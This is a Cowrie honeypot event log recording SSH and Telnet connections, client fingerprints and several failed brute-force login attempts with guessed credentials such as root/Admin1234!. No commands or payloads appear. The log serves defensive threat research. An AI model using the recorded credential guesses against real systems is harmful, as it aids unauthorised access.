{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":55846,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3eb308da5c0","protocol":"telnet","message":"New connection: 94.23.66.112:55846 (10.17.0.5:23) [session: f3eb308da5c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:18:50.848468Z"}
{"eventid":"cowrie.session.closed","duration":37.426817417144775,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:18:59.492527Z","src_ip":"172.81.62.90","session":"fb0818564d40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":40292,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e4c5e1d655d","protocol":"ssh","message":"New connection: 87.251.79.125:40292 (159.203.135.109:22) [session: 3e4c5e1d655d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:19:24.704897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:19:24.709328Z","src_ip":"87.251.79.125","session":"3e4c5e1d655d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:19:24.779955Z","src_ip":"87.251.79.125","session":"3e4c5e1d655d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"felix1","message":"login attempt [root/felix1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:19:24.990377Z","src_ip":"87.251.79.125","session":"3e4c5e1d655d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:19:26.063976Z","src_ip":"87.251.79.125","session":"3e4c5e1d655d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":45943,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a82a15bed78","protocol":"ssh","message":"New connection: 216.155.93.75:45943 (159.203.135.109:22) [session: 4a82a15bed78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:19:32.394435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:19:32.398246Z","src_ip":"216.155.93.75","session":"4a82a15bed78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:19:32.550488Z","src_ip":"216.155.93.75","session":"4a82a15bed78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"pass@123","message":"login attempt [user1/pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:19:33.160688Z","src_ip":"216.155.93.75","session":"4a82a15bed78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:19:34.317875Z","src_ip":"216.155.93.75","session":"4a82a15bed78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":75.56369471549988,"message":"Connection lost after 75 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:19:37.997389Z","src_ip":"94.23.66.112","session":"ce3d8ccf8fe2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":65.92000436782837,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:19:56.768343Z","src_ip":"94.23.66.112","session":"f3eb308da5c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":58146,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e679b72ba35","protocol":"telnet","message":"New connection: 172.81.62.90:58146 (159.203.135.109:23) [session: 3e679b72ba35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:20:04.041325Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41790,"dst_ip":"159.203.135.109","dst_port":23,"session":"d10f10b9b3df","protocol":"telnet","message":"New connection: 128.199.8.54:41790 (159.203.135.109:23) [session: d10f10b9b3df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:20:05.737886Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":38350,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb139b24ad51","protocol":"telnet","message":"New connection: 172.81.62.90:38350 (159.203.135.109:23) [session: bb139b24ad51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:20:19.776673Z"}
{"eventid":"cowrie.session.closed","duration":37.50973391532898,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:20:41.550923Z","src_ip":"172.81.62.90","session":"3e679b72ba35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.55773043632507,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:20:49.295475Z","src_ip":"128.199.8.54","session":"d10f10b9b3df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35332,"dst_ip":"159.203.135.109","dst_port":23,"session":"56eae8ee3956","protocol":"telnet","message":"New connection: 128.199.8.54:35332 (159.203.135.109:23) [session: 56eae8ee3956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:20:51.086402Z"}
{"eventid":"cowrie.session.closed","duration":34.94949173927307,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:20:54.726013Z","src_ip":"172.81.62.90","session":"bb139b24ad51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":36610,"dst_ip":"159.203.135.109","dst_port":23,"session":"f15926b0ab46","protocol":"telnet","message":"New connection: 172.81.62.90:36610 (159.203.135.109:23) [session: f15926b0ab46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:21:11.278067Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":47650,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cf803f0027d","protocol":"ssh","message":"New connection: 182.93.50.90:47650 (10.17.0.5:22) [session: 9cf803f0027d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:21:13.069200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:21:13.073846Z","src_ip":"182.93.50.90","session":"9cf803f0027d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:21:13.291988Z","src_ip":"182.93.50.90","session":"9cf803f0027d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alek","password":"alek","message":"login attempt [alek/alek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:21:14.198490Z","src_ip":"182.93.50.90","session":"9cf803f0027d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:21:15.441285Z","src_ip":"182.93.50.90","session":"9cf803f0027d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.80390548706055,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:21:47.081824Z","src_ip":"172.81.62.90","session":"f15926b0ab46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.714353799819946,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:21:47.800566Z","src_ip":"128.199.8.54","session":"56eae8ee3956","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":49024,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7ca1a46b0a1","protocol":"ssh","message":"New connection: 194.59.206.2:49024 (159.203.135.109:22) [session: f7ca1a46b0a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:22:02.994707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:22:03.000196Z","src_ip":"194.59.206.2","session":"f7ca1a46b0a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:22:03.091705Z","src_ip":"194.59.206.2","session":"f7ca1a46b0a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:22:03.184291Z","src_ip":"194.59.206.2","session":"f7ca1a46b0a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":36997,"dst_ip":"159.203.135.109","dst_port":22,"session":"56db5df53c6c","protocol":"ssh","message":"New connection: 216.155.93.75:36997 (159.203.135.109:22) [session: 56db5df53c6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:22:04.267002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:22:04.272361Z","src_ip":"216.155.93.75","session":"56db5df53c6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:22:04.469969Z","src_ip":"216.155.93.75","session":"56db5df53c6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pc","password":"12345678","message":"login attempt [pc/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:22:05.129545Z","src_ip":"216.155.93.75","session":"56db5df53c6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:22:06.298723Z","src_ip":"216.155.93.75","session":"56db5df53c6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.19.241","src_port":37890,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fbe0a949cd6","protocol":"ssh","message":"New connection: 85.198.19.241:37890 (159.203.135.109:22) [session: 9fbe0a949cd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:22:48.050704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:22:50.761988Z","src_ip":"85.198.19.241","session":"9fbe0a949cd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:22:50.765955Z","src_ip":"85.198.19.241","session":"9fbe0a949cd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword@2026","message":"login attempt [root/P@ssword@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:22:52.721190Z","src_ip":"85.198.19.241","session":"9fbe0a949cd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54786,"dst_ip":"159.203.135.109","dst_port":23,"session":"e379acdca2a0","protocol":"telnet","message":"New connection: 128.199.8.54:54786 (159.203.135.109:23) [session: e379acdca2a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:22:55.118535Z"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:22:55.354123Z","src_ip":"85.198.19.241","session":"9fbe0a949cd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":44120,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d4f573cec12","protocol":"ssh","message":"New connection: 27.71.230.31:44120 (10.17.0.5:22) [session: 3d4f573cec12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:22:55.469204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:22:56.322680Z","src_ip":"27.71.230.31","session":"3d4f573cec12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:22:56.905707Z","src_ip":"27.71.230.31","session":"3d4f573cec12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin1234!","message":"login attempt [root/Admin1234!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:22:59.544307Z","src_ip":"27.71.230.31","session":"3d4f573cec12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:23:01.925356Z","src_ip":"27.71.230.31","session":"3d4f573cec12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.243.37.202","src_port":37678,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fb4d7c2db81","protocol":"ssh","message":"New connection: 104.243.37.202:37678 (10.17.0.5:22) [session: 0fb4d7c2db81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:23:18.607439Z"}
